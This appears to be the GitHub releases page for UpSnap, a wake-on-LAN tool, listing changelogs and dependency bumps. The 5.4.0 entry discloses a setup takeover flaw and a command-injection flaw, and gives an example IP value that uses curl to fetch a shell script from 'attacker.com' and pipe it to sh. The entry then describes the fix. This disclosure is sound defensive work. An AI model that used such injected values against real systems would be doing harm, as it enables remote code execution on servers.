Skip to content

Releases: seriousm4x/UpSnap

5.4.1

01 Jun 20:03
5.4.1
24bdf67

Choose a tag to compare

Note

UpSnap is, and always will be, free and open source software.

If someone is asking you to pay money for access to UpSnap binaries, source code, or licenses, you are being scammed.

The official and only trusted source for UpSnap is this repository (and its linked releases).
Do not pay third parties for something that is provided here for free.

Changelog

Features

Others

5.4.0

26 May 19:18
5.4.0
92f9e29

Choose a tag to compare

Note

UpSnap is, and always will be, free and open source software.

If someone is asking you to pay money for access to UpSnap binaries, source code, or licenses, you are being scammed.

The official and only trusted source for UpSnap is this repository (and its linked releases).
Do not pay third parties for something that is provided here for free.

New Setup Process

GHSA-w4jr-728f-5jhq

What changed

The initial setup process has been changed. Instead of a built-in multi-step wizard, UpSnap now directs you to create your first superuser account via the server console logs, which contain a one-time setup link generated by PocketBase.

Once you've created the superuser using that link, return to the UpSnap welcome page and click Done to continue.

Why this was necessary

In versions prior to 5.4.0, the setup wizard allowed anyone with network access to register the first superuser account if they reached the setup page before the legitimate administrator. This meant that on a publicly reachable instance, an attacker could take ownership of the application before the real admin had a chance to complete the setup.

By moving account creation out-of-band to the server console, only someone with access to the server logs (i.e. the administrator) can complete the initial setup.

Note

If you have sucessfully completed the initial setup in the past you are not affected.

RCE via Device IP and MAC Address Injection

GHSA-6mc7-6948-w5h4

What was the issue

UpSnap allows setting custom shell commands for waking and shutting down devices. These commands support {{ DEVICE_IP }} and {{ DEVICE_MAC }} placeholders, which are replaced with the device's actual IP and MAC values before being executed on the server.

In versions prior to 5.4.0, these values were only changed by removing spaces before being substituted into the shell command. An attacker with permission to edit a device could set a malicious IP or MAC field, for example:

IP: 127.0.0.1;curl${IFS}http://attacker.com/shell.sh|sh
MAC: 00:00:00:00:00:00&&id

When the device was woken or shut down, the injected commands would execute on the server with the same privileges as UpSnap itself.

What was fixed

  1. Backend: Before substituting {{ DEVICE_IP }} and {{ DEVICE_MAC }} into any shell command, UpSnap additionally validates both values using Go's standard net.ParseIP and net.ParseMAC. If a value somehow reaches this point in an invalid state, the command is rejected and an error is returned instead of executing.

  2. Database: A new migration adds regex constraints to the ip and mac fields in the PocketBase schema (^((25[0-5]|(2[0-4]|1\d|[1-9]|)\d)\.?\b){4}$ for IP, ^([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})$ for MAC). Any write that bypasses the UI is rejected at the database level.

  3. HTML input: The IP and MAC fields in the device form now have pattern attributes that enforce valid formats directly in the browser, preventing malformed values from being submitted in the first place.

Who is affected

Any instance where untrusted users had permission to create or edit devices. Users who are the sole administrator of their own instance and have not shared device-edit access are at lower risk.

Changelog

Bug fixes

Others

5.3.5

14 May 21:07
5.3.5
7b8bcfa

Choose a tag to compare

Note

UpSnap is, and always will be, free and open source software.

If someone is asking you to pay money for access to UpSnap binaries, source code, or licenses, you are being scammed.

The official and only trusted source for UpSnap is this repository (and its linked releases).
Do not pay third parties for something that is provided here for free.

Changelog

Bug fixes

5.3.4

10 May 11:34
5.3.4
19daaf8

Choose a tag to compare

Note

UpSnap is, and always will be, free and open source software.

If someone is asking you to pay money for access to UpSnap binaries, source code, or licenses, you are being scammed.

The official and only trusted source for UpSnap is this repository (and its linked releases).
Do not pay third parties for something that is provided here for free.

Changelog

Bug fixes

Others

5.3.3

27 Apr 12:23
5.3.3
6df1205

Choose a tag to compare

Note

UpSnap is, and always will be, free and open source software.

If someone is asking you to pay money for access to UpSnap binaries, source code, or licenses, you are being scammed.

The official and only trusted source for UpSnap is this repository (and its linked releases).
Do not pay third parties for something that is provided here for free.

Changelog

Others

Github Actions

5.3.2

01 Apr 17:33
5.3.2
65d6e9f

Choose a tag to compare

Note

UpSnap is, and always will be, free and open source software.

If someone is asking you to pay money for access to UpSnap binaries, source code, or licenses, you are being scammed.

The official and only trusted source for UpSnap is this repository (and its linked releases).
Do not pay third parties for something that is provided here for free.

Changelog

Bug fixes

Others

5.3.2-beta.0

23 Mar 20:00
5.3.2-beta.0
95d722b

Choose a tag to compare

5.3.2-beta.0 Pre-release
Pre-release

Note

UpSnap is, and always will be, free and open source software.

If someone is asking you to pay money for access to UpSnap binaries, source code, or licenses, you are being scammed.

The official and only trusted source for UpSnap is this repository (and its linked releases).
Do not pay third parties for something that is provided here for free.

Changelog

Bug fixes

Others

5.3.1

21 Mar 00:42
5.3.1
b00f3a1

Choose a tag to compare

Note

UpSnap is, and always will be, free and open source software.

If someone is asking you to pay money for access to UpSnap binaries, source code, or licenses, you are being scammed.

The official and only trusted source for UpSnap is this repository (and its linked releases).
Do not pay third parties for something that is provided here for free.

Changelog

Bug fixes

Others

Npm dependencies

  • 4c03494: npm-dep: bump @inlang/paraglide-js from 2.15.0 to 2.15.1 in /frontend (@dependabot[bot])

5.3.0

20 Mar 12:03
5.3.0
85b49de

Choose a tag to compare

Note

UpSnap is, and always will be, free and open source software.

If someone is asking you to pay money for access to UpSnap binaries, source code, or licenses, you are being scammed.

The official and only trusted source for UpSnap is this repository (and its linked releases).
Do not pay third parties for something that is provided here for free.

Changelog

Bug fixes

Others

Go dependencies

Npm dependencies

  • be94f35: npm-dep: bump @eslint/js from 9.39.2 to 9.39.3 in /frontend (@dependabot[bot])
  • 84a362a: npm-dep: bump @eslint/js from 9.39.3 to 9.39.4 in /frontend (@dependabot[bot])
  • 9f00286: npm-dep: bump @inlang/cli from 3.1.6 to 3.1.7 in /frontend (@dependabot[bot])
  • 91eab52: npm-dep: bump @inlang/paraglide-js from 2.11.0 to 2.12.0 in /frontend (@dependabot[bot])
  • 06b4626: npm-dep: bump @inlang/paraglide-js from 2.12.0 to 2.13.0 in /frontend (@dependabot[bot])
  • 969ded6: npm-dep: bump @inlang/paraglide-js from 2.13.0 to 2.13.1 in /frontend (@dependabot[bot])
  • f794681: npm-dep: bump @inlang/paraglide-js from 2.13.1 to 2.13.2 in /frontend (@dependabot[bot])
  • 0acba76: npm-dep: bump @inlang/paraglide-js from 2.13.2 to 2.14.0 in /frontend (@dependabot[bot])
  • 5c5b908: npm-dep: bump @inlang/paraglide-js from 2.14.0 to 2.15.0 in /frontend (@dependabot[bot])
  • e4ab3c3: npm-dep: bump @sveltejs/kit from 2.51.0 to 2.52.0 in /frontend (@dependabot[bot])
  • 0bead88: npm-dep: bump @sveltejs/kit from 2.52.0 to 2.52.2 in /frontend (@dependabot[bot])
  • 1e168d4: npm-dep: bump @sveltejs/kit from 2.52.2 to 2.53.0 in /frontend (@dependabot[bot])
  • ad36a40: npm-dep: bump @sveltejs/kit from 2.53.0 to 2.53.1 in /frontend (@dependabot[bot])
  • ebd3e01: npm-dep: bump @sveltejs/kit from 2.53.1 to 2.53.3 in /frontend (@dependabot[bot])
  • c57adf8: npm-dep: bump @sveltejs/kit from 2.53.3 to 2.53.4 in /frontend (@dependabot[bot])
  • e09b968: npm-dep: bump @sveltejs/kit from 2.53.4 to 2.54.0 in /frontend (@dependabot[bot])
  • b39857b: npm-dep: bump @sveltejs/kit from 2.54.0 to 2.55.0 in /frontend (@dependabot[bot])
  • 01dcca3: npm-dep: bump @tailwindcss/postcss from 4.1.18 to 4.2.0 in /frontend (@dependabot[bot])
  • 81e252b: npm-dep: bump @tailwindcss/postcss from 4.2.0 to 4.2.1 in /frontend (@dependabot[bot])
  • d6604b2: npm-dep: bump @tailwindcss/postcss from 4.2.1 to 4.2.2 in /frontend (@dependabot[bot])
  • 835f5b9: npm-dep: bump daisyui from 5.5.18 to 5.5.19 in /frontend (@dependabot[bot])
  • a2d6d73: npm-dep: bump eslint from 9.39.2 to 9.39.3 in /frontend (@dependabot[bot])
  • 3bf1ba5: npm-dep: bump eslint from 9.39.3 to 9.39.4 in /frontend (@dependabot[bot])
  • 29c99ed: npm-dep: bump eslint-plugin-svelte from 3.15.0 to 3.15.1 in /frontend (@dependabot[bot])
  • faeed49: npm-dep: bump eslint-plugin-svelte from 3.15.1 to 3.15.2 in /frontend (@dependabot[bot])
  • e6d2992: npm-dep: bump postcss from 8.5.6 to 8.5.8 in /frontend (@dependabot[bot])
  • cea0136: npm-dep: bump prettier-plugin-svelte from 3.4.1 to 3.5.0 in /frontend (@dependabot[bot])
  • b09510f: npm-dep: bump prettier-plugin-svelte from 3.5.0 to 3.5.1 in /frontend (@dependabot[bot])
  • 28ef84d: npm-dep: bump svelte from 5.50.3 to 5.51.2 in /frontend (@dependabot[bot])
  • 58136f2: npm-dep: bump svelte from 5.51.2 to 5.51.3 in /frontend (@dependabot[bot])
  • 0b7c4a6: npm-dep: bump svelte from 5.51.3 to 5.53.0 in /frontend (@dependabot[bot])
  • d99d19b: npm-dep: bump svelte from 5.53.0 to 5.53.3 in /frontend (@dependabot[bot])
  • 88d333d: npm-dep: bump svelte from 5.53.10 to 5.53.11 in /frontend (@dependabot[bot])
  • ed83590: npm-dep: bump svelte from 5.53.11 to 5.53.12 in /frontend (@dependabot[bot])
  • 2e69ba9: npm-dep: bump svelte from 5.53.12 to 5.54.0 in /frontend (@dependabot[bot])
  • 4f1ec6c: npm-dep: bump svelte from 5.53.3 to 5.53.5 in /frontend (@dependabot[bot])
  • d6300e8: npm-dep: bump svelte from 5.53.5 to 5.53.6 in /frontend (@dependabot[bot])
  • 07d7bec: npm-dep: bump svelte from 5.53.6 to 5.53.7 in /frontend (@dependabot[bot])
  • 78068c1: npm-dep: bump svelte from 5.53.7 to 5.53.9 in /frontend (@dependabot[bot])
  • 1273d1b: npm-dep: bump svelte from 5.53.9 to 5.53.10 in /frontend (@dependabot[bot])
  • f299c9d: npm-dep: bump svelte-check from 4.3.6 to 4.4.0 in /frontend (@dependabot[bot])
  • 6819248: npm-dep: bump svelte-check from 4.4.0 to 4.4.1 in /frontend (@dependabot[bot])
  • 2d55e9f: npm-dep: bump svelte-check from 4.4.1 to 4.4.3 in /frontend (@dependabot[bot])
  • 13a06a5: npm-dep: bump svelte-check from 4.4.3 to 4.4.4 in /frontend (@dependabot[bot])
  • cddad0f: npm-dep: bump svelte-check from 4.4.4 to 4.4.5 in /frontend (@dependabot[bot])
  • 745094b: npm-dep: bump tailwindcss from 4.1.18 to 4.2.0 in /frontend (@dependabot[bot])
  • db528a9: npm-dep: bump tailwindcss from 4.2.0 to 4.2.1 in /frontend (@dependabot[bot])
  • 611c4d2: npm-dep: bump tailwindcss from 4.2.1 to 4.2.2 in /frontend (@dependabot[bot])
  • e997211: npm-dep: bump typescript-eslint from 8.55.0 to 8.56.0 in /frontend (@dependabot[bot])
  • 7498a69: npm-dep: bump typescript-eslint from 8.56.0 to 8.56.1 in /frontend (@dependabot[bot])
  • 0766482: npm-dep: bump typescript-eslint from 8.56.1 to 8.57.0 in /frontend (@dependabot[bot])
  • 52f00c4: npm-dep: bump typescript-eslint from 8.57.0 to 8.57.1 in /frontend (@dependabot[bot])

Github Actions

5.3.0-beta.0

19 Mar 14:07
5.3.0-beta.0
66e08ad

Choose a tag to compare

5.3.0-beta.0 Pre-release
Pre-release

Note

UpSnap is, and always will be, free and open source software.

If someone is asking you to pay money for access to UpSnap binaries, source code, or licenses, you are being scammed.

The official and only trusted source for UpSnap is this repository (and its linked releases).
Do not pay third parties for something that is provided here for free.

Changelog

Bug fixes

Others

Go dependencies

Npm dependencies

  • be94f35: npm-dep: bump @eslint/js from 9.39.2 to 9.39.3 in /frontend (@dependabot[bot])
  • 84a362a: npm-dep: bump @eslint/js from 9.39.3 to 9.39.4 in /frontend (@dependabot[bot])
  • 9f00286: npm-dep: bump @inlang/cli from 3.1.6 to 3.1.7 in /frontend (@dependabot[bot])
  • 91eab52: npm-dep: bump @inlang/paraglide-js from 2.11.0 to 2.12.0 in /frontend (@dependabot[bot])
  • 06b4626: npm-dep: bump @inlang/paraglide-js from 2.12.0 to 2.13.0 in /frontend (@dependabot[bot])
  • 969ded6: npm-dep: bump @inlang/paraglide-js from 2.13.0 to 2.13.1 in /frontend (@dependabot[bot])
  • f794681: npm-dep: bump @inlang/paraglide-js from 2.13.1 to 2.13.2 in /frontend (@dependabot[bot])
  • 0acba76: npm-dep: bump @inlang/paraglide-js from 2.13.2 to 2.14.0 in /frontend (@dependabot[bot])
  • 5c5b908: npm-dep: bump @inlang/paraglide-js from 2.14.0 to 2.15.0 in /frontend (@dependabot[bot])
  • e4ab3c3: npm-dep: bump @sveltejs/kit from 2.51.0 to 2.52.0 in /frontend (@dependabot[bot])
  • 0bead88: npm-dep: bump @sveltejs/kit from 2.52.0 to 2.52.2 in /frontend (@dependabot[bot])
  • 1e168d4: npm-dep: bump @sveltejs/kit from 2.52.2 to 2.53.0 in /frontend (@dependabot[bot])
  • ad36a40: npm-dep: bump @sveltejs/kit from 2.53.0 to 2.53.1 in /frontend (@dependabot[bot])
  • ebd3e01: npm-dep: bump @sveltejs/kit from 2.53.1 to 2.53.3 in /frontend (@dependabot[bot])
  • c57adf8: npm-dep: bump @sveltejs/kit from 2.53.3 to 2.53.4 in /frontend (@dependabot[bot])
  • e09b968: npm-dep: bump @sveltejs/kit from 2.53.4 to 2.54.0 in /frontend (@dependabot[bot])
  • b39857b: npm-dep: bump @sveltejs/kit from 2.54.0 to 2.55.0 in /frontend (@dependabot[bot])
  • 01dcca3: npm-dep: bump @tailwindcss/postcss from 4.1.18 to 4.2.0 in /frontend (@dependabot[bot])
  • 81e252b: npm-dep: bump @tailwindcss/postcss from 4.2.0 to 4.2.1 in /frontend (@dependabot[bot])
  • d6604b2: npm-dep: bump @tailwindcss/postcss from 4.2.1 to 4.2.2 in /frontend (@dependabot[bot])
  • 835f5b9: npm-dep: bump daisyui from 5.5.18 to 5.5.19 in /frontend (@dependabot[bot])
  • a2d6d73: npm-dep: bump eslint from 9.39.2 to 9.39.3 in /frontend (@dependabot[bot])
  • 3bf1ba5: npm-dep: bump eslint from 9.39.3 to 9.39.4 in /frontend (@dependabot[bot])
  • 29c99ed: npm-dep: bump eslint-plugin-svelte from 3.15.0 to 3.15.1 in /frontend (@dependabot[bot])
  • faeed49: npm-dep: bump eslint-plugin-svelte from 3.15.1 to 3.15.2 in /frontend (@dependabot[bot])
  • e6d2992: npm-dep: bump postcss from 8.5.6 to 8.5.8 in /frontend (@dependabot[bot])
  • cea0136: npm-dep: bump prettier-plugin-svelte from 3.4.1 to 3.5.0 in /frontend (@dependabot[bot])
  • b09510f: npm-dep: bump prettier-plugin-svelte from 3.5.0 to 3.5.1 in /frontend (@dependabot[bot])
  • 28ef84d: npm-dep: bump svelte from 5.50.3 to 5.51.2 in /frontend (@dependabot[bot])
  • 58136f2: npm-dep: bump svelte from 5.51.2 to 5.51.3 in /frontend (@dependabot[bot])
  • 0b7c4a6: npm-dep: bump svelte from 5.51.3 to 5.53.0 in /frontend (@dependabot[bot])
  • d99d19b: npm-dep: bump svelte from 5.53.0 to 5.53.3 in /frontend (@dependabot[bot])
  • 88d333d: npm-dep: bump svelte from 5.53.10 to 5.53.11 in /frontend (@dependabot[bot])
  • ed83590: npm-dep: bump svelte from 5.53.11 to 5.53.12 in /frontend (@dependabot[bot])
  • 2e69ba9: npm-dep: bump svelte from 5.53.12 to 5.54.0 in /frontend (@dependabot[bot])
  • 4f1ec6c: npm-dep: bump svelte from 5.53.3 to 5.53.5 in /frontend (@dependabot[bot])
  • d6300e8: npm-dep: bump svelte from 5.53.5 to 5.53.6 in /frontend (@dependabot[bot])
  • 07d7bec: npm-dep: bump svelte from 5.53.6 to 5.53.7 in /frontend (@dependabot[bot])
  • 78068c1: npm-dep: bump svelte from 5.53.7 to 5.53.9 in /frontend (@dependabot[bot])
  • 1273d1b: npm-dep: bump svelte from 5.53.9 to 5.53.10 in /frontend (@dependabot[bot])
  • f299c9d: npm-dep: bump svelte-check from 4.3.6 to 4.4.0 in /frontend (@dependabot[bot])
  • 6819248: npm-dep: bump svelte-check from 4.4.0 to 4.4.1 in /frontend (@dependabot[bot])
  • 2d55e9f: npm-dep: bump svelte-check from 4.4.1 to 4.4.3 in /frontend (@dependabot[bot])
  • 13a06a5: npm-dep: bump svelte-check from 4.4.3 to 4.4.4 in /frontend (@dependabot[bot])
  • cddad0f: npm-dep: bump svelte-check from 4.4.4 to 4.4.5 in /frontend (@dependabot[bot])
  • 745094b: npm-dep: bump tailwindcss from 4.1.18 to 4.2.0 in /frontend (@dependabot[bot])
  • db528a9: npm-dep: bump tailwindcss from 4.2.0 to 4.2.1 in /frontend (@dependabot[bot])
  • 611c4d2: npm-dep: bump tailwindcss from 4.2.1 to 4.2.2 in /frontend (@dependabot[bot])
  • e997211: npm-dep: bump typescript-eslint from 8.55.0 to 8.56.0 in /frontend (@dependabot[bot])
  • 7498a69: npm-dep: bump typescript-eslint from 8.56.0 to 8.56.1 in /frontend (@dependabot[bot])
  • 0766482: npm-dep: bump typescript-eslint from 8.56.1 to 8.57.0 in /frontend (@dependabot[bot])
  • 52f00c4: npm-dep: bump typescript-eslint from 8.57.0 to 8.57.1 in /frontend (@dependabot[bot])

Github Actions